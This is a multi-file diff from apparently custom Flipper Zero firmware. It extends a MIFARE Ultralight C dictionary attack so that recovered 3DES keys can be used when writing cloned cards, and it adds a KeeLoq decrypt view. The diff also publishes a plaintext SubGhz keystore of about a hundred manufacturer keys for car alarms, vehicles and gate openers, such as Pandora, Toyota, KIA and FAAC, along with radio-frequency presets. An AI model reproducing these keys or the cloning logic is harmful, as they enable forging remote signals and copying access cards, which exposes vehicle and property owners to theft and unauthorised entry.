instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictUser;
}
if(!instance->mf_ultralight_c_dict_context.dict) {
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictSystem;
}
}
MfUltralightC3DesAuthKey key = {};
bool got_key = false;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
if(!got_key &&
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictUser) {
// Exhausted user dict, switch to system dict
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
KeysDictModeOpenExisting,
sizeof(MfUltralightC3DesAuthKey));
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictSystem;
if(instance->mf_ultralight_c_dict_context.dict) {
got_key = keys_dict_get_next_key(
instance->mf_ultralight_c_dict_context.dict,
key.data,
sizeof(MfUltralightC3DesAuthKey));
}
}
if(got_key) {
mf_ultralight_event->data->key_request_data.key = key;
mf_ultralight_event->data->key_request_data.key_provided = true;
FURI_LOG_D(
"MfULC",
"Trying dict key: "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
key.data[0],
key.data[1],
key.data[2],
key.data[3],
key.data[4],
key.data[5],
key.data[6],
key.data[7],
key.data[8],
key.data[9],
key.data[10],
key.data[11],
key.data[12],
key.data[13],
key.data[14],
key.data[15]);
} else {
mf_ultralight_event->data->key_request_data.key_provided = false;
FURI_LOG_D("MfULC", "Dict exhausted - no more keys");
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state =
NfcMfUltralightCWriteDictExhausted;
}
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestWriteData) {
mf_ultralight_event->data->write_data =
nfc_device_get_data(instance->nfc_device, NfcProtocolMfUltralight);
// Reset dict context so RequestKey starts fresh for the write-phase auth
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
}
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteKeyRequest) {
// Apply the user's key choice - read from static, not scene state (scene manager
// resets state to 0 on scene entry, wiping any value set before next_scene).
bool keep_key = !instance->mf_ultralight_c_write_context.copy_key;
mf_ultralight_event->data->write_key_skip = keep_key;
if(mf_ultralight_event->data->key_request_data.key_provided) {
MfUltralightC3DesAuthKey found_key = mf_ultralight_event->data->key_request_data.key;
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: target key = "
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
found_key.data[0],
found_key.data[1],
found_key.data[2],
found_key.data[3],
found_key.data[4],
found_key.data[5],
found_key.data[6],
found_key.data[7],
found_key.data[8],
found_key.data[9],
found_key.data[10],
found_key.data[11],
found_key.data[12],
found_key.data[13],
found_key.data[14],
found_key.data[15]);
}
FURI_LOG_D(
"MfULC",
"WriteKeyRequest: decision = %s (copy_key=%d)",
keep_key ? "KEEP target key (pages 44-47 NOT written)" :
"OVERWRITE with source key (pages 44-47 WILL be written)",
(int)instance->mf_ultralight_c_write_context.copy_key);
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeCardMismatch) {
furi_string_set(instance->text_box_store, "Card of the same\ntype should be\n presented");
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventWrongCard);
@@ -323,6 +478,7 @@ static NfcCommand
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteFail) {
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
command = NfcCommandStop;
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteSuccess) {
furi_string_reset(instance->text_box_store);
@@ -334,9 +490,18 @@ static NfcCommand
}
static void nfc_scene_write_on_enter_mf_ultralight(NfcApp* instance) {
// Free any dict the write callback opened (dict_state != Idle means we own it).
// After a DictAttack scene, on_exit now NULLs the pointer so a simple NULL check
// is safe here too — but the state enum is the authoritative ownership record.
if(instance->mf_ultralight_c_write_context.dict_state != NfcMfUltralightCWriteDictIdle &&
instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
}
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
furi_string_set(instance->text_box_store, "\nApply the\ntarget\ncard now");
instance->poller = nfc_poller_alloc(instance->nfc, NfcProtocolMfUltralight);
nfc_poller_start(instance->poller, nfc_scene_write_poller_callback_mf_ultralight, instance);
furi_string_set(instance->text_box_store, "Apply the initial\ncard only");
}
const NfcProtocolSupportBase nfc_protocol_support_mf_ultralight = {

View File

@@ -126,6 +126,18 @@ typedef struct {
size_t dict_keys_current;
} NfcMfUltralightCDictContext;
typedef enum {
NfcMfUltralightCWriteDictIdle, /**< No dict open; safe to open either dict. */
NfcMfUltralightCWriteDictUser, /**< User dict currently open. */
NfcMfUltralightCWriteDictSystem, /**< System dict currently open. */
NfcMfUltralightCWriteDictExhausted, /**< All dicts tried; do not re-open. */
} NfcMfUltralightCWriteDictState;
typedef struct {
bool copy_key; /**< True = overwrite target 3DES key with source key pages. */
NfcMfUltralightCWriteDictState dict_state; /**< Which dict is open for write-phase auth. */
} NfcMfUltralightCWriteContext;
struct NfcApp {
DialogsApp* dialogs;
Storage* storage;
@@ -165,6 +177,7 @@ struct NfcApp {
SlixUnlock* slix_unlock;
NfcMfClassicDictAttackContext nfc_dict_context;
NfcMfUltralightCDictContext mf_ultralight_c_dict_context;
NfcMfUltralightCWriteContext mf_ultralight_c_write_context;
Mfkey32Logger* mfkey32_logger;
MfUserDict* mf_user_dict;
MfClassicKeyCache* mfc_key_cache;

View File

@@ -77,6 +77,15 @@ void nfc_scene_mf_ultralight_c_dict_attack_prepare_view(NfcApp* instance) {
// Set attack type to Ultralight C
dict_attack_set_type(instance->dict_attack, DictAttackTypeMfUltralightC);
// Guard: if a previous write phase left a dict handle open, close it now.
// Without this, navigating write->back->read->dict-attack would open the same
// file twice, corrupting VFS state and causing a ViewPort lockup.
if(instance->mf_ultralight_c_dict_context.dict) {
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
}
if(state == DictAttackStateUserDictInProgress) {
do {
if(!keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
@@ -167,6 +176,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -199,6 +209,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
nfc_poller_stop(instance->poller);
nfc_poller_free(instance->poller);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
scene_manager_set_scene_state(
instance->scene_manager,
NfcSceneMfUltralightCDictAttack,
@@ -230,6 +241,7 @@ void nfc_scene_mf_ultralight_c_dict_attack_on_exit(void* context) {
NfcSceneMfUltralightCDictAttack,
DictAttackStateUserDictInProgress);
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
instance->mf_ultralight_c_dict_context.dict = NULL;
instance->mf_ultralight_c_dict_context.dict_keys_total = 0;
instance->mf_ultralight_c_dict_context.dict_keys_current = 0;
instance->mf_ultralight_c_dict_context.auth_success = false;

View File

@@ -93,6 +93,7 @@ typedef enum {
SubGhzViewIdFrequencyAnalyzer,
SubGhzViewIdReadRAW,
SubGhzViewIdPsaDecrypt,
SubGhzViewIdKeeloqDecrypt,
} SubGhzViewId;

View File

@@ -1,107 +1,108 @@
Filetype: Flipper SubGhz Keystore File
Version: 0
Encryption: 0
0000000000000000:1:Allgate_Simple
0000000023304758:6:KGB/Subaru
0000000033205748:7:Magic_2
00000000C3644917:2:VAG_Custom_Seed
0102030410203040:1:IronLogic
0123456789ABCDEF:2:Stilmatic
0132456789ABCDEF:1:Pandora_Test_Debug_2
05AEDAABAA981903:1:Rosh
08AEDAABAA981903:1:Dea_Mio
1067DC33E7D88A46:0:Leopard
12332594A9189478:1:Sheriff
1234567812345678:2:NICE_Flor_S
1234567890123456:1:Cenmax
188B0544A9B1DF14:2:Centurion
1961DAC2EB198847:2:Guard_RF-311A
1B36977B281597AC:1:Pandora_PRO
207DBBE59D386F44:2:Cardin_S449
2156EB02D8E9B977:1:Pandora_DEA
2255EA01DBEABA76:1:Pandora_GIBIDI
2354E900DAEBBB75:1:Pandora_MCODE
2453EE07DDECBC72:1:Pandora_Unknown_1
2552EF06DCEDBD73:1:Pandora_SUZUKI
2587010764070864:1:Harpoon
2626991902991902:1:Gibidi
2651EC05DFEEBE70:1:Pandora_Unknown_2
27193A9B117C0835:11:Jarolift
2739451414471820:2:Audii
2750ED04DEEFBF71:2:Pandora_NISSAN
30317B307D794471:1:KEY
314C3865304E3961:1:Novoferm
32130221685B9D8C:2:VAG_HELLA_VPM2
3519B934A4227995:1:Pandora_SUBARU
352BABACA5F4DFE0:1:Pecinin
381D7D9A2A17AE99:1:Pandora_M101
3E461AB4F76DA19B:2:Merlin
4030201004030201:1:IL-100(Smart)
4130850A82610A14:1:Pantera_CLK
414C455831393830:1:Kingates_Stylo4k
4292903083134583:2:Monarch
434144494C4C4143:2:Cadillac_GM
43485259534C4552:2:Chrysler
444145574F4F0000:2:Daewoo
4772736565734769:1:Aprimatic
484D6C6D73545253:1:NICE_MHOUSE
484F4E4441200000:2:Honda
4859554E44414920:2:Hyundai_Asia
4C6D4D7A55644F76:3:BFT
4D41474E64796E65:1:Pantera
4D49545355424953:2:Mitsubishi
4E495353414E2000:2:Nissan
535446524B453030:13:KIAV5
53555A554B490000:2:Suzuki
53696C7669618C14:5:FAAC_SLH
54365CB7676284F9:1:Alligator_S-275
544F594F54410000:2:Toyota
54524D534543494E:1:NICE_Smilo
5504045708301203:1:SL_A6-A9/Tomahawk_9010
572768229476CAFF:2:Motorline
638664A880AA23FC:11:KIAV6A
6408076407018725:1:Tomahawk_TZ-9030
66B446B980AC752B:1:Cenmax_St-7
67732C5056334627:1:Pantera_XS/Jaguar
685B9D8C5A130221:2:VAG_HELLA_VPM
68732C5056334728:1:APS-1100_APS-2550
6912FA557DC2418A:0:Reff
6B8E6CA088A22BF4:12:KIAV6B
6D69736572657265:2:BFT_Miserere
6EB6AE4815C63ED2:9:Beninca_ARC
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
7BCBEED4376EDCBF:2:Sommer
7EAF1E9A392B19B9:1:Pandora_PRO2
8455F43584941223:1:DoorHan
8607427861394E30:2:EcoStar
8765432187654321:2:Sommer_FM_868
89146E59537903B7:1:JCM_Tech
8A326438B62287F5:0:Faraon
8BC9E46704700800:1:Vag
96638C36C99C2C9B:1:Came_Space
9804655AA5000000:8:Magic_4
9BF7F89BF8FE78DA:1:SL_A2-A4
9C61FD3A47B8E25C:2:Elmes_Poland
9DA08153CF312BA7:1:Normstahl
A8F5DFFC8DAA5CDB:10:KIA
A9748532B7655297:2:GSN
AA38A7A32189B5A1:0:Mutanco_Mutancode
AAFBFBA8F7CFEDFC:1:Cenmax_St-5
AC35BB2759000000:8:Magic_3
AD3C12A17028F11E:1:Partisan_RX
B3E5625A8CCD7139:2:Steelmate
B51526E8F126D1D7:0:Teco
B51A7AAB27351596:0:ZX-730-750-1055
BBEE9EDDAAF97ECC:1:Jolly_Motors
CEB6AE48B5C63ED2:4:Beninca
D5A5E7B2A7C1A0BA:2:Mongoose
E5D2C83529C113E6:2:VAG_HELLA_PWM
EEF3D4B2626C5578:1:Alligator
F1A3E552C8647E55:2:Comunello
F250006EF29E030E:2:Vauweh
F6E5D4B32ABADCFE:1:SL_B6,B9_dop
FAAC05600001FAAC:2:FAAC_RC,XT
FAAC05600002FAAC:2:Genius_Bravo
FADA12FADA34F0DA:1:Rossi
FC4DE22CD5370320:1:DTM_Neo
FEDCBA9876543210:2:Came_Tam
Encryption: 1
IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E

View File

@@ -0,0 +1,121 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: false
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
Frequency: 300000000
Frequency: 302757000
Frequency: 303000000
Frequency: 303875000
Frequency: 303900000
Frequency: 304250000
Frequency: 307000000
Frequency: 307500000
Frequency: 307800000
Frequency: 309000000
Frequency: 310000000
Frequency: 312000000
Frequency: 312100000
Frequency: 312200000
Frequency: 313000000
Frequency: 313850000
Frequency: 314000000
Frequency: 314350000
Frequency: 314980000
Frequency: 315000000
Frequency: 318000000
Frequency: 320000000
Frequency: 320150000
Frequency: 330000000
Frequency: 345000000
Frequency: 348000000
Frequency: 350000000
Frequency: 387000000
Frequency: 390000000
Frequency: 418000000
Frequency: 430000000
Frequency: 430500000
Frequency: 431000000
Frequency: 431500000
Frequency: 433075000
Frequency: 433220000
Frequency: 433420000
Frequency: 433657070
Frequency: 433880000
Frequency: 433889000
Frequency: 433900000
Frequency: 433910000
Frequency: 433920000
Frequency: 433930000
Frequency: 433940000
Frequency: 433950000
Frequency: 433960000
Frequency: 434075000
Frequency: 434176948
Frequency: 434190000
Frequency: 434390000
Frequency: 434420000
Frequency: 434620000
Frequency: 434775000
Frequency: 438900000
Frequency: 440175000
Frequency: 462750000
Frequency: 464000000
Frequency: 467750000
Frequency: 779000000
Frequency: 868350000
Frequency: 868400000
Frequency: 868460000
Frequency: 868800000
Frequency: 868950000
Frequency: 906400000
Frequency: 915000000
Frequency: 925000000
Frequency: 928000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
Hopper_frequency: 315000000
Hopper_frequency: 433920000
Hopper_frequency: 434420000
Hopper_frequency: 868350000
# Presets used for preset hopping mode (cycles through these modulations)
Hopping_Preset: AM650
Hopping_Preset: FM476
Hopping_Preset: FM95
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
Custom_preset_name: OOK_LR
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: OOK_U
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 17 0C 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 2C 81 2D 35 2E 09 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: AM_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 C9 11 F8 12 30 14 00 15 14 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 55 22 00 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: FSK_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: F3
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: FM95
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
Custom_preset_name: FM15k
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0

View File

@@ -1,47 +0,0 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: true
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
#Frequency: 300000000
#Frequency: 310000000
#Frequency: 320000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
#Hopper_frequency: 300000000
#Hopper_frequency: 310000000
#Hopper_frequency: 310000000
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
#Custom_preset_name: FM95
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
#2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping
#Custom_preset_name: FM15k
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0
#Custom_preset_name: Pagers
#Custom_preset_module: CC1101
